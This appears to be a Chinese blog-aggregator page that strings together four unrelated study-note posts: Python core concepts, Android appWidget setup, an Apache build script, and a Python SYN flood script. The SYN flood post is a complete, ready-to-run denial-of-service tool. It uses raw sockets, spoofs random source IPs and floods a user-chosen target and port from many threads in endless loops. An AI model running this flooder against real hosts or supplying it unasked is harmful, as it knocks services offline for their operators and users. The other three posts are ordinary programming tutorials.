首页 文章 精选 留言 我的

精选列表

搜索[笔记软件],共10010篇文章
优秀的个人博客,低调大师

python核心学习笔记

import 导入模块 1.import导入模块 import 导入模块(搜索路径) import sys sys.path 从列出的目录里依次查找要导入的模块文件 程序导入路径 因为sys.path返回的是一个列表,那么就可以用sys.path.append("需要导入的模块路径"),相对路径不用/,绝对路径/开头 重新导入模块 模块被导入后,如果某一方更新了这个模块,但是import module不能重新导入模块,重新导入需用from imp import *,然后再使用reload(test)即可重新导入 2.循环导入 循环导入就是程序在导入某个模块的过程中,该模块里的函数又需要导入自身的这个模块,如此进入死循环, 避免循环导入:所有在开发的过程中,开发者们写的模块不能相互调用,即应该相互隔开,然后由架构师来负责整体的模块调用使用,也就是上下设计分层,降低耦合 3.在一般情况下,如果仅仅是用作模块引入,不必写if __name__ =="__main__": ==和is 1.==和is is 是比较两个引用是否指向了同一个对象(引用比较)。a is b :返回False == 是比较两个对象是否相等 a ==b:返回True 总结:判断两者内容用==,判断两者是否指向同一个用is,如果是数字则在一个负数到正的一百二十多,==和is都为True,过了这个范围两者就不指向一个对象了 浅拷贝和深拷贝 1.浅拷贝和深拷贝 浅拷贝是对于一个对象的顶层拷贝,通俗的理解是:拷贝了引用,并没有拷贝内容 相当于把变量里面指向的一个地址给了另一个变量就是浅拷贝,而没有创建一个新的对象,如a=b 深拷贝首先要import copy,然后c = copy.deepcopy(a),就表示把a的内容深拷贝到c中,如果发现了a中也存在引用的内容,则递归拷贝,也就是把当前的这个引用的对象继续深拷贝 copy和deepcopy的区别 copy:浅拷贝,里面如果有可变类型,修改这个可变类型(如list),被拷贝的对象也会相应改变,仅仅拷第一层,如果是不可变类型,就一层都不拷,如果是可变类型就拷一层 deepcopy:深拷贝,里面不管是可变类型和不可变类型,被拷贝的对象都不会受到影响,递归拷贝 copy和deepcopy拷贝元组的特点 使用copy模块的copy功能的时候,它会根据当前拷贝的数据类型是可变类型还是不可变类型有不同的处理方式,如元组是不可变类型,拷贝多份没有用,对copy来说,如果是可变类型就拷一层,如果是不可变类型,就一层都不拷 进制丶位运算 1.进制间的转换 bin(10) #10进制转为2进制 int("1001",2) #2进制转为10进制 hex(10) #10进制转为16进制 int('ff',16) #16进制转为10进制 bin(0xa) #16进制转为2进制 oct(8) #10进制转为8进制 hex(0b1001) #2进制转为16进制,0b表示二进制 2.位运算的介绍 & 按位与 | 按位或 ^ 按位异或 ~ 按位取反 << 按位左移 >> 按位右移 用途:直接操作二进制,省内存,效率高 私有化 1.私有化 xx: 公有变量 _x: 单前置下划线,私有化属性或方法,from somemodule import *禁止导入,类对象和子类可以访问 __xx:双前置下划线,避免与子类中的属性命名冲突,无法在外部直接访问(名字重整所以访问不到) __xx__:双前后下划线,用户名字空间的魔法对象或属性。例如:__init__ , __ 不要自己发明这样的名字 xx_:单后置下划线,用于避免与Python关键词的冲突 总结: 父类中属性名为__名字的,子类不继承,子类不能访问 如果在子类中向__名字赋值,那么会在子类中定义的一个与父类相同名字的属性 _名的变量、函数、类在使用from xxx import *时都不会被导入 属性property 1.属性property-1 私有属性添加getter和setter方法 使用property升级getter和setter方法 #num = property(getNum,setNum) #将方法转换为只读#注意点:#1.Num到底是调用getNum()还是setNum(),要根据实际的场景来判断,值得注意的是一定要先填getNum后setNum#2.如果是给t.num赋值,那么一定调用setNum() #3.如果是获取t.num的值,那么就一定调用getNum() #property的作用:相当于把方法进行了封装,开发者在对属性设置数据的时候更方便 2.属性property-2 第二种的property的方法 @property #修饰器 def num(self): print("------getter-----") return self.__num @num.setter #修饰器 def num(self,new_num): print("------setter------") self.__num = new_num t.num = 20 print(t.num) 迭代器 1.迭代器 迭代是访问集合元素的一种方式。迭代器是一个可以记住遍历的位置的对象。迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束。迭代器只能往前不会后退。 2.可迭代对象 可以直接用for 循环遍历的数据类型有以下几种: 一类是集合数据类型,如 list 、 tuple 、 dict 、 set 、 str 等; 一类是 generator(列表生成式,生成器) ,包括生成器和带 yield 的generator function。 这些可以直接作用于 for 循环的对象统称为可迭代对象: Iterable 。 3.判断是否可以迭代 可以使用 isinstance() 判断一个对象是否是 Iterable 对象: from collections import Iterable isinstance([ ], Iterable),如果可以迭代就返回True 而生成器不但可以作用于 for 循环,还可以被 next() 函数不断调用并返回下一个值,直到最后抛出 StopIteration 错误表示无法继续返回下一个值了。 4.迭代器可以被next()函数调用并不断返回下一个值的对象称为迭代器:Iterator。 可以使用 isinstance() 判断一个对象是否是 Iterator 对象: 生成器(i for i in range(10))一定是迭代器,但迭代器不一定是生成器 from collections import Iterator isinstance((x for x in range(10)), Iterator),如果是的话就返回True 5.iter( )函数 生成器都是 Iterator(迭代器)对象,但 list 、 dict 、 str 虽然是 Iterable (可迭代),却不是 Iterator (迭代器) 把 list 、 dict 、 str 等 Iterable(可迭代) 变成 Iterator(迭代器) 可以使用 iter() 函数,就好比人可以游泳,但不是天生就会,可迭代对象就好比人,迭代器就好比会游泳的人,需要经过iter( )训练一样 isinstance(iter([ ]), Iterator) True 闭包 1.函数的引用 test1() #调用函数 ret = test #引用函数 ret() #通过引用调用函数 2.什么是闭包 在函数内部再定义一个函数,并且这个函数用到了外边函数的变量,那么将这个函数以及用到的一些变量称之为闭包 def test(number): print("-----1-----") def test_in(number2): print("----2-----") print(number+number2) print("------3------") #把函数的引用返回了 return test_in#用来接收test(100),指向类一个函数体,这个100传给了numberret = test(100)#这个1传给了number2ret(1) 这个返回101 ret(100) 这个返回200 ret(200) 这个返回300 3.闭包再理解 内部函数对外部函数作用域里变量的引用(非全局变量),则称内部函数为闭包 闭包的实际例子: def line_conf(a, b): def line(x): return a*x + b return lineline1 = line_conf(1, 1)line2 = line_conf(4, 5)print(line1(5)) print(line2(5)) 这个例子中,函数line与变量a,b构成闭包。在创建闭包的时候,我们通过line_conf的参数a,b说明了这两个变量的取值,这样,我们就确定了函数的最终形式(y = x + 1和y = 4x + 5)。我们只需要变换参数a,b,就可以获得不同的直线表达函数。由此,我们可以看到,闭包也具有提高代码可复用性的作用 装饰器 1.装饰器 装饰器是程序开发中经常会用到的一个功能,用好了装饰器,开发效率如虎添翼,所以这也是Python面试中必问的问题,但对于好多初次接触这个知识的人来讲,这个功能有点绕,自学时直接绕过去了,然后面试问到了就挂了,因为装饰器是程序开发的基础知识,这个都不会,别跟人家说你会Python, 看了下面的文章,保证你学会装饰器。 在有两个重名的函数中,Python解释器会调用最后定义的那重名函数,因为在python里,第一个函数指向的是一片内存,然后又让这个函数指向另一片内存,就会利用第二片内存来执行,所有函数名应尽量避免相同 写代码要遵循开放封闭原则,虽然在这个原则是用的面向对象开发,但是也适用于函数式编程,简单来说,它规定已经实现的功能代码不允许被修改,但可以被扩展,即: 封闭:已实现的功能代码块 开放:对扩展开发 实例:def w1(func): def inner(): # 验证1 # 验证2 # 验证3 func() return inner @w1 #装饰器 def f1(): print('f1') @w1 #装饰器 def f2(): print('f2') ........ 对于上述代码,也是仅仅对基础平台的代码进行修改,就可以实现在其他人调用函数 f1 f2 f3 f4 之前都进行【验证】操作,并且其他业务部门无需做任何操作 装饰器的功能: 引入日志 函数执行时间统计 执行函数前预备处理 执行函数后清理功能 权限校验等场景 缓存 如果是有多个装饰器的情况,一般是先装饰最下面的一个,然后依次往上,@w1类比于f1 = w1(f1) 装饰有参数的函数: 在传递参数的时候,需要在闭包里面定义一个形参,闭包里面的调用的函数也要定义一个形参,否则会导致两部分函数调用失败 装饰不定长的参数的函数:在传递参数的时候,需要在闭包里面定义一个*args和**kwargs,闭包里面的调用的函数也要定义一个*args和**kwargs,这样就可以在调用的时候传递任意长度的参数,增加代码的可复用性 装饰带返回值的函数:需要在闭包里面进行一个接收,也就是ret = test(),然后再把接收到的return ret出去,这样在装饰的test才能返回出当前需要返回的东西,否则只会返回None 通用的装饰器: 例:def w1(func):print("-----正在装饰-----") def inner(*args,**kwargs): print("---正在验证权限---") print("----记录日志----") ret = func(*args,**kwargs) #保存返回来的haha return ret #把haha返回到17行的调用 return inner 带有参数的装饰器: 也就是在原来包含一个闭包的函数外面再给他套一个函数,用来传递装饰器的参数 如: def func_arg(arg): def w1(func): print("---记录日志---") def inner(*args,**kwargs): func(*args,**kwargs) #保存返回来的haha return inner return w1 @func_arg("heihei")def f1(): print("----f1----") #1.先执行func_arg("heihei")函数,这个函数return的结果是#2.@w1#3.使用@w1对f1进行装饰作用:带有参数的装饰器,能够起到在运行时,有不同的功能 作用域 1.作用域 什么是命名空间:变量命名的范围(变量起作用的范围) LEGB规则:Python 使用 LEGB 的顺序来查找一个符号对应的对象,即locals -> enclosing function -> globals -> builtins locals,当前所在命名空间(如函数、模块),函数的参数也属于命名空间内的变量 enclosing,外部嵌套函数的命名空间(闭包中常见) globals,全局变量,函数定义所在模块的命名空间 builtins,内建模块的命名空间 在Python中,有一个内建模块,该模块中有一些常用函数;在Python启动后,且没有执行程序员所写的任何代码前,Python会首先加载该内建函数到内存。另外,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀,其原因是对函数、变量、类等标识符的查找是按LEGB法则,其中B即代表内建模块 比如:内建模块中有一个abs()函数,其功能求绝对值,如abs(-20)将返回20 python是动态语言 1.python是动态语言 动态编程语言 是 高级程序设计语言 的一个类别,在计算机科学领域已被广泛应用。它是一类 在运行时可以改变其结构的语言 :例如新的函数、对象、甚至代码可以被引进,已有的函数可以被删除或是其他结构上的变化。动态语言目前非常具有活力。例如JavaScript便是一个动态语言,除此之外如 PHP 、 Ruby 、 Python 等也都属于动态语言,而 C 、 C++ 等语言则不属于动态语言,这种动态语言的应用就好比是在没有更新app的情况下,它的界面在后台也可以被开发者更改,因为它是动态的,可以把新增的动态程序放置在文本,只要加载一遍即可 运行的过程中给对象绑定(添加)属性:也就是说给对象绑定一个实例属性(这个属性是初始化之外的额外属性),只有这个创建对象的属性如laozhao.addr = "北京" 运行的过程中给类绑定(添加)属性:如果需要所有的一个类的实例加上一个属性怎么办呢? 答案就是直接给这个类绑定属性,如Person.sex = "male" 运行的过程中给类绑定(添加)方法:如果是对这个类绑定一个实例方法,那么就要先import types,然后如 对象.方法名 = types.MethodType(函数名, 对象),把run这个方法绑定到P对象上。如果是静态方法和类方法,就直接用 类名.方法名=函数名 运行的过程中删除属性、方法: del 对象.属性名 delattr(对象, "属性名") __slots__的作用 1.__slots__的作用 动态语言:可以在运行的过程中,修改代码 静态语言:编译时已经确定好代码,运行过程中不能修改 为了达到限制的目的,Python允许在定义class的时候,定义一个特殊的__slots__变量,来限制该class实例能添加的属性,如__slots__ = ("name","age"),就可以达到限制name和age的属性,如果发现有添加其他属性的程序就会发生异常 使用__slots__要注意,__slots__定义的属性仅对当前类实例起作用,对继承的子类是不起作用的 生成器 1.生成器 什么是生成器: 通过列表生成式,我们可以直接创建一个列表。但是,受到内存限制,列表容量肯定是有限的。而且,创建一个包含100万个元素的列表,不仅占用很大的存储空间,如果我们仅仅需要访问前面几个元素,那后面绝大多数元素占用的空间都白白浪费了 创建生成器方法1: 要创建一个生成器,有很多种方法。第一种方法很简单,只要把一个列表生成式的 [ ] 改成 ( ) 如 L = [ x*2 for x in range(5)]和G = ( x*2 for x in range(5)),L 是一个列表,而 G 是一个生成器,可以通过 next(G) 函数获得生成器的下一个返回值,不断调用 next() 实在是太变态了,正确的方法是使用 for 循环,因为生成器也是可迭代对象 创建生成器方法2: fib函数变成generator,只需要把print(b)改为yield b就可以了,循环过程中不断调用 yield ,就会不断中断。当然要给循环设置一个条件来退出循环,不然就会产生一个无限数列出来,当循环到没有元素的时候,将会生成异常,这时候就要用try和exception来检测异常,#print自动检测异常并停止,但是next()就要用try ,在创建生成器的时候需要接收函数的返回值#1.next(返回函数名)和 #2.返回函数名.__next__()是一样的方法来获取下一个返回值 总结:生成器是这样一个函数,它记住上一次返回时在函数体中的位置。对生成器函数的第二次(或第 n 次)调用跳转至该函数中间,而上次调用的所有局部变量都保持不变,生成器不仅“记住”了它数据状态;生成器还“记住”了它在流控制构造(在命令式编程中,这种构造不只是数据值)中的位置 生成器的特点: 节约内存 迭代到下一次的调用时,所使用的参数都是第一次所保留下的,即是说,在整个所有函数调用的参数都是第一次所调用时保留的,而不是新创建的 send用法: 如果在在程序中有个变量等于yield,不是说把yield的值给了这个变量,而是接下来在下一次调用执行一次的时候可以传一个值,t.send("haha")和t.__next__()都可以让生成器继续执行,不同的是send可以传递一个值 但是不能在程序刚开始执行就用send传值,有两种方法,要么先用__next__调用一次,再send一个值,或者t.send(None) 生成器.完成多任务: 控制多个任务执行的情况 类装饰器(扩展,非重点) 1.类装饰器(扩展,非重点) 装饰器函数其实是这样一个接口约束,它必须接受一个callable对象作为参数,然后返回一个callable对象。在Python中一般callable对象都是函数,但也有例外。只要某个对象重写了 __call__() 方法,那么这个对象就是callable的 class Test(object): def __init__(self, func): print("---初始化---") print("func name is %s"%func.__name__) self.__func = func def __call__(self): print("---装饰器中的功能---") self.__func() #说明:#1. 当用Test来装作装饰器对test函数进行装饰的时候,首先会创建Test的实例对象# 并且会把test这个函数名当做参数传递到__init__方法中# 即在__init__方法中的func变量指向了test函数体##2. test函数相当于指向了用Test创建出来的实例对象##3. 当在使用test()进行调用时,就相当于让这个对象(),因此会调用这个对象的__call__方法##4. 为了能够在__call__方法中调用原来test指向的函数体,所以在__init__方法中就需要一个实例属性来保存这个函数体的引用# 所以才有了self.__func = func这句代码,从而在调用__call__方法中能够调用到test之前的函数体@Testdef test(): print("----test---")test() showpy()#如果把这句话注释,重新运行程序,依然会看到"--初始化--" 元类 1.元类 类也是对象: 在大多数编程语言中,类就是一组用来描述如何生成一个对象的代码段,类同样也是一种对象 动态的创建类: 因为类也是对象,你可以在运行时动态的创建它们,就像其他任何对象一样def choose_class(name): if name == 'foo': class Foo(object): pass return Foo # 返回的是类,不是类的实例 else: class Bar(object): pass return Bar MyClass = choose_class('foo') 当你使用class关键字时,Python解释器自动创建这个对象 2.使用type创建类: type还有一种完全不同的功能,动态的创建类,type可以像这样工作: type(类名, 由父类名称组成的元组(针对继承的情况,可以为空),包含属性的字典(名称和值)) 如:Test2 = type("Test2",(),{}) #定了一个Test2类 3. 使用type创建带有属性的类: Foo = type('Foo', (), {'bar':True}) 4.使用type创建带有方法的类: FooChild = type('FooChild', (Foo,), {'echo_bar': echo_bar}) ,这是添加实例方法echo_bar Foochild = type('Foochild', (Foo,), {"echo_bar":echo_bar, "testStatic":testStatic}),添加静态方法 Foochild = type('Foochild', (Foo,), {"echo_bar":echo_bar, "testStatic":testStatic, "testClass":testClass}),添加类方法 5.到底什么是元类: 元类就是用来创建类的“东西,元类就是用来创建这些类(对象)的,元类就是类的类,元类又由元类创建,Python中所有的东西,注意,我是指所有的东西——都是对象。这包括整数、字符串、函数以及类 __metaclass__属性: class Foo(object): __metaclass__ = something… 如果你这么做了,Python就会用元类来创建类Foo。小心点,这里面有些技巧。你首先写下class Foo(object),但是类Foo还没有在内存中创建。Python会在类的定义中寻找__metaclass__属性,如果找到了,Python就会用它来创建类Foo,如果没有找到,就会用内建的type来创建这个类 GC垃圾回收 1.GC垃圾回收 小整数对象池:Python为了优化速度,使用了小整数对象池, 避免为整数频繁申请和销毁内存空间。 Python 对小整数的定义是 [-5, 257) 这些整数对象是提前建立好的,不会被垃圾回收 大整数对象池:每一个大整数,均创建一个新的对象 intern机制:假如要创建n个对象的是一样的字符串,那么python只会创建一个内存空间来存储,其他对象都是引用,但如果字符串中出现空格或其他符号就表示为不同的对象 GC(Garbage collection)垃圾回收: python里也同java一样采用了垃圾收集机制,不过不一样的是: python采用的是引用计数机制为主,标记-清除和分代收集两种机制为辅的策略 2.引用计数机制的优点: 简单 实时性:一旦没有引用,内存就直接释放了。不用像其他机制等到特定时机。实时性还带来一个好处:处理回收内存的时间分摊到了平时 3. 引用计数机制的缺点: 维护引用计数消耗资源 循环引用 4.GC系统所承担的工作远比"垃圾回收"多得多。实际上,它们负责三个重要任务: 为新生成的对象分配内存 识别那些垃圾对象,并且 从垃圾对象那回收内存 5.垃圾回收机制:Python中的垃圾回收是以引用计数为主,分代收集为辅 导致引用计数+1的情况: 对象被创建,例如a=23 对象被引用,例如b=a 对象被作为参数,传入到一个函数中,例如func(a) 对象作为一个元素,存储在容器中,例如list1=[a,a] 6.导致引用计数-1的情况: 对象的别名被显式销毁,例如del a 对象的别名被赋予新的对象,例如a=24 一个对象离开它的作用域,例如f函数执行完毕时,func函数中的局部变量(全局变量不会) 对象所在的容器被销毁,或从容器中删除对象 7. 查看一个对象的引用计数: import sys a = "hello world" sys.getrefcount(a) 可以查看a对象的引用计数,但是比正常计数大1,因为调用函数的时候传入a,这会让a的引用计数+1 有三种情况会触发垃圾回收: 调用gc.collect(), 当gc模块的计数器达到阀值的时候。 程序退出的时候 8.gc模块的自动垃圾回收机制: 必须要import gc模块,并且is_enable()=True才会启动自动垃圾回收。 这个机制的主要作用就是发现并处理不可达的垃圾对象。 垃圾回收=垃圾检查+垃圾回收 在Python中,采用分代收集的方法。把对象分为三代,一开始,对象在创建的时候,放在一代中,如果在一次一代的垃圾检查中,该对象存活下来,就会被放到二代中,同理在一次二代的垃圾检查中,该对象存活下来,就会被放到三代中。 gc模块里面会有一个长度为3的列表的计数器,可以通过gc.get_count()获取,gc.set_threshold(threshold0[, threshold1[, threshold2]) 设置自动执行垃圾回收的频率,例如(700,10,10) 每一次计数器的增加,gc模块就会检查增加后的计数是否达到阀值的数目,700表示阈值,10表示没清理10次零代就清理一次二代,第二个10表示每清理10次一代链表就清理二代一次 注意点:gc模块唯一处理不了的是循环引用的类都有__del__方法,所以项目中要避免定义__del__方法 内建属性和函数 1.内建属性 常用专有属性 说明 触发方式__init__ 构造初始化函数 创建实例后,赋值时使用,在__new__后__new__ 生成实例所需属性 创建实例时__class__ 实例所在的类 实例.__class____str__ 实例字符串表示,可读性 print(类实例),如没实现,使用repr结果__repr__ 实例字符串表示,准确性 类实例 回车 或者 print(repr(类实例))__del__ 析构 del删除实例__dict__ 实例自定义属性 vars(实例.__dict__)__doc__ 类文档,子类不继承 help(类或实例)__getattribute__ 属性访问拦截器 访问实例属性时 __bases__ 类的所有父类构成元素 类名.__bases__ def __getattribute__(self,obj): if obj == 'subject1': print('log subject1') return 'redirect python' else: #测试时注释掉这2行,将找不到subject2 return object.__getattribute__(self,obj) __getattribute__的作用可以用来打印Log日志 __getattribute__的坑 class Person(object): def __getattribute__(self,obj): print("---test---") if obj.startswith("a"): return "hahha" else: return self.test def test(self): print("heihei") t.Person() t.a #返回hahha t.b #会让程序死掉 #原因是:当t.b执行时,会调用Person类中定义的__getattribute__方法,但是在这个方法的执行过程中 #if条件不满足,所以 程序执行else里面的代码,即return self.test 问题就在这,因为return 需要把 #self.test的值返回,那么首先要获取self.test的值,因为self此时就是t这个对象,所以self.test就是 #t.test 此时要获取t这个对象的test属性,那么就会跳转到__getattribute__方法去执行,即此时产 #生了递归调用,由于这个递归过程中 没有判断什么时候推出,所以这个程序会永无休止的运行下去,又因为 #每次调用函数,就需要保存一些数据,那么随着调用的次数越来越多,最终内存吃光,所以程序 崩溃 # # 注意:以后不要在__getattribute__方法中调用self.xxxx 2.内建函数 range(start, stop[, step]) -> list of integers start:计数从start开始。默认是从0开始。例如range(5)等价于range(0, 5); stop:到stop结束,但不包括stop.例如:range(0, 5) 是[0, 1, 2, 3, 4]没有5 step:每次跳跃的间距,默认为1。例如:range(0, 5) 等价于 range(0, 5, 1) map函数 map函数会根据提供的函数对指定序列做映射 map(...) map(function, sequence[, sequence, ...]) -> list function:是一个函数 sequence:是一个或多个序列,取决于function需要几个参数 返回值是一个list filter函数 filter函数会对指定序列执行过滤操作 filter(...) filter(function or None, sequence) -> list, tuple, or string function:接受一个参数,返回布尔值True或False sequence:序列可以是str,tuple,list filter函数会对序列参数sequence中的每个元素调用function函数,最后返回的结果包含调用结果为True的元素。 reduce函数 reduce函数,reduce函数会对参数序列中元素进行累积 reduce(...) reduce(function, sequence[, initial]) -> value function:该函数有两个参数 sequence:序列可以是str,tuple,list initial:固定初始值 reduce依次从sequence中取一个元素,和上一次调用function的结果做参数再次调用function。 第一次调用function时,如果提供initial参数,会以sequence中的第一个元素和initial 作为参数调用function,否则会以序列sequence中的前两个元素做参数调用function。 注意function函数不能为None sorted函数 sorted(...) sorted(iterable, cmp=None, key=None, reverse=False) --> new sorted list 调试 1.调试 pdb是基于命令行的调试工具,非常类似gnu的gdb(调试c/c++) 执行时调试 程序启动,停止在第一行等待单步调试 python -m pdb xxx.py, n(next)执行下一步,l(list)显示当前执行进度,c(continue)继续执行代码,b(break)添加断点,q(quit)中止并退出,clear num删除指定断点,p(print)打印变量的值,a(args)打印所有的形参数据,s(step)进入到一个函数,r执行代码直到从当前函数返回

优秀的个人博客,低调大师

Python实现SYNFlood,学习笔记

版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396333 是Python2还是3我给忘记了,大家自己试试吧。 #!/usr/bin/python #-*-coding:utf-8-*- import socket import struct import random import threading class myThread (threading.Thread): def __init__(self,dstip,dstport,mode): threading.Thread.__init__(self) self.dstip = dstip self.dstport =dstport self.mode =mode def run(self): attack(self.dstip,self.dstport,self.mode) def checksum(data): s = 0 n = len(data) % 2 for i in range(0, len(data)-n, 2): s+= ord(data[i]) + (ord(data[i+1]) << 8) if n: s+= ord(data[i+1]) while (s >> 16): s = (s & 0xFFFF) + (s >> 16) s = ~s & 0xffff return s def IP(source,destination,udplen): version = 4 ihl = 5 tos = 0 tl = 20+udplen ip_id = random.randint(1,65535) flags = 0 offset = 0 ttl = 128 protocol =6 check =0 source = socket.inet_aton(source) destination = socket.inet_aton(destination) ver_ihl = (version << 4)+ihl flags_offset = (flags << 13)+offset ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, check, source, destination) check=checksum(ip_header) ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, socket.htons(check), source, destination) return ip_header def TCP(srcip,dstip,protocol,dp,fg): source = socket.inet_aton(srcip) destination = socket.inet_aton(dstip) srcport=random.randint(1,65535) dstport=dp syn_num=random.randint(1,4000000000) if fg == 2: ack_num=0 else: ack_num=random.randint(1,4000000000) hlen=5 zero=0 flag=fg window=8192 check=0 point=0 tcplen=hlen h_f=(hlen << 12)+flag TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point) check=checksum(TCP_head) TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point) return TCP_head def makepacket(dstip,dstport,fg): srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255)) protocol=6 ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg) return ippacket def attack(dstip,dstport,mode): if mode == 'syn': fg=2 while 1: data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport)) elif mode == 'ack': fg=18 while 1: data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport)) elif mode == 'syn&ack': while 1: data=makepacket(dstip,dstport,2) s.sendto(data,(dstip,dstport)) data=makepacket(dstip,dstport,18) s.sendto(data,(dstip,dstport)) else: print('DON\'T xia say!') dstip=raw_input('attack IP:') dstport=int(input('attack PORT:')) mode=raw_input('mode:(syn or ack or syn&ack)') threads=int(input("线程数threads:")) ip_first=[] for i in range(1,10): ip_first.append(i) for i in range(11,172): ip_first.append(i) for i in range(173,192): ip_first.append(i) for i in range(193,224): ip_first.append(i) s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) threads_name=[] for i in range(threads): threads_name.append('teread'+str(i)) for i in range(threads): threads_name[i]=myThread(dstip,dstport,mode) for i in range(threads): threads_name[i].start()

优秀的个人博客,低调大师

appWidget 简单入门学习笔记

1,让桌面能够添加你的appWidget 1,一个类,和2个xml //一个实现AppWidgetProvider的类 publicclassTomAppWidgetProviderextends AppWidgetProvider{} <!--放在res/xml文件夹中命名为tom_appwidget_info.xml--> <appwidget-providerxmlns:android="http://schemas.android.com/apk/res/android" android:minWidth="294dp" android:minHeight="72dp" android:updatePeriodMillis="86400000" android:initialLayout="@layout/tom_appwidget" android:configure="kg.tom.AppWidgetConfigure"></appwidget-provider> <!--android:initialLayout:初始化你的appWidget布局--> <!--放置在res/layout/tom_appwidget_provider.xml--> <?xmlversion="1.0"encoding="utf-8"?> <LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="294dp" android:layout_height="72dp" android:orientation="vertical"><TextView android:id="@+id/appwidget_text" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textColor="#ff000000"/><Button android:id="@+id/appwidget_button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@android:string/ok"/> </LinearLayout> 在AndroidManifest.xml中声明你的appWidget <receiverandroid:name="TomAppWidgetProvider"> <intent-filter> <!--让系统能够设别到你的appWidgetProvider的动作--><actionandroid:name="android.appwidget.action.APPWIDGET_UPDATE"/> </intent-filter> <!--设置你的appWidget的布局--> <meta-dataandroid:name="android.appwidget.provider"android:resource="@xml/tom_appwidget_info"/> </receiver> 长按你的Home 界面,你就会看到你的widget已经在列表当中 但是,现在点击是会出错的,这时候我们需要设置我们的AppWidgetConfigure 在activity中增加一个Intent-filter <intent-filter> <!--让系统能够设别到你的appWidgetProvider的动作--> <actionandroid:name="android.appwidget.action.APPWIDGET_UPDATE"/> </intent-filter> publicclassAppWidgetConfigureextendsActivity{ @Override publicvoidonCreate(BundlesavedInstanceState){ super.onCreate(savedInstanceState); //设置widgetId intmAppWidgetId=AppWidgetManager.INVALID_APPWIDGET_ID; //1,将setResult设置为取消,用于取消widgethostsetResult(RESULT_CANCELED); //2,从Intent中找到widget的id Intentintent=getIntent(); Bundleextras=intent.getExtras(); if(extras!=null){ mAppWidgetId=extras.getInt(AppWidgetManager.EXTRA_APPWIDGET_ID,AppWidgetManager.INVALID_APPWIDGET_ID);} //3,如果获取不到appWidgetid我们就结束 if(mAppWidgetId==AppWidgetManager.INVALID_APPWIDGET_ID){ Log.d("app","获取失败退出!!!"); finish();} finalContextcontext=AppWidgetConfigure.this; //4,实例化你的appWidget AppWidgetManagerappWidgetManager=AppWidgetManager.getInstance(context); //5,更新widget IntentresultValue=newIntent();resultValue.putExtra(appWidgetManager.EXTRA_APPWIDGET_ID,mAppWidgetId); setResult(RESULT_OK,resultValue); finish();}} 2,然后写provider的代码 publicclassTomAppWidgetProviderextendsAppWidgetProvider{ @Override publicvoidonUpdate(Contextcontext,AppWidgetManagerappWidgetManager, int[]appWidgetIds){ //TODOAuto-generatedmethodstub super.onUpdate(context,appWidgetManager,appWidgetIds); finalintN=appWidgetIds.length; Log.d("app","onUpdate--->Ids==="+String.valueOf(N)); for(inti=0;i<N;i++){ intappWidgetId=appWidgetIds[i]; updateAppWidget(context,appWidgetManager,appWidgetId);}} staticvoidupdateAppWidget(Contextcontext,AppWidgetManagerappWidgetManager,intappWidgetId){ Log.d("app","update---->id"+appWidgetId); //1,widget中的的标题 CharSequencetext="这是我第一个widget"; //2,widget显示用布局,并设置text显示的值 RemoteViewsviews=newRemoteViews(context.getPackageName(),R.layout.tom_appwidget_provider);views.setTextViewText(R.id.appwidget_text,text); //3,通知widgetmanager更新appWidgetManager.updateAppWidget(appWidgetId,views);} @Override publicvoidonDeleted(Contextcontext,int[]appWidgetIds){ //TODOAuto-generatedmethodstubsuper.onDeleted(context,appWidgetIds); //删除的时候调用的方法 intappids=appWidgetIds.length; Log.d("app","onDelete--->"+appids);}} 然后就可以运行了: 顺便附上一张简单原理图:.. 2,小小的进阶为widget实现运行activity 只要在加上几行代码的appwidget 就能实现挑战到Activity的功能 1,新建一个HelloAppWidget的activity staticvoidupdateAppWidget(Contextcontext,AppWidgetManagerappWidgetManager,intappWidgetId){ Log.d("app","update---->id"+appWidgetId); //1,设置显示用标题 CharSequencetext="这是我第一个widget"; //1.1,增加跳转用activity相关intent Intentintent=newIntent(context,HelloAppWidget.class); PendingIntentpendingIntent=PendingIntent.getActivity(context,0,intent,0); //2,如果,没有在xml中声明RemoteViews布局,这里就必须要让其他布局基于RemoteViews RemoteViewsviews=newRemoteViews(context.getPackageName(),R.layout.tom_appwidget_provider);views.setTextViewText(R.id.appwidget_text,text); //2.1将需要跳转的intent绑定到appWidgetbutton中views.setOnClickPendingIntent(R.id.appwidget_button,pendingIntent); //3,通知widgetmanager更新appWidgetManager.updateAppWidget(appWidgetId,views);} 跳转到特定activity…ps:使用activity记得在AndroidManifest.xml中注册

优秀的个人博客,低调大师

Apache安装配置(笔记)

#!/bin/bashyum install gcc gcc-c++ autoconf automake apr-util-devel apr apr-util-mysql apr-docs apr-devel apr-util apr-util-docs pcre pcre-develcd /usr/local/srcwget http://mirrors.hust.edu.cn/apache//httpd/httpd-2.4.29.tar.gztar zxvf httpd-2.4.29.tar.gzcd httpd-2.4.29./configure --prefix=/usr/local/apache -enable-module=so -enable-deflate=shared -enable-expires=shared -enable-rewrite=shared --enable-ssl --enable-rewrite \-enable-cache -enable-file-cache -enable-mem-cache -enable-disk-cache -enable-static-support -enable-static-htpasswd -enable-static-htdigest -enable-static-rotatelogs \-enable-static-logresolve -enable-static-htdbm -enable-static-ab -enable-static-checkgid -enable-cgid -enable-cgi -enable-userdir -with-mpm=worker -enable-authn-dbm=shared make&&make installcp /usr/local/apache/bin/apachectl /etc/init.d/httpdsed -i '2c\#chkconfig: 35 85 15' /etc/init.d/httpdsed -i '3c\#description: apache' 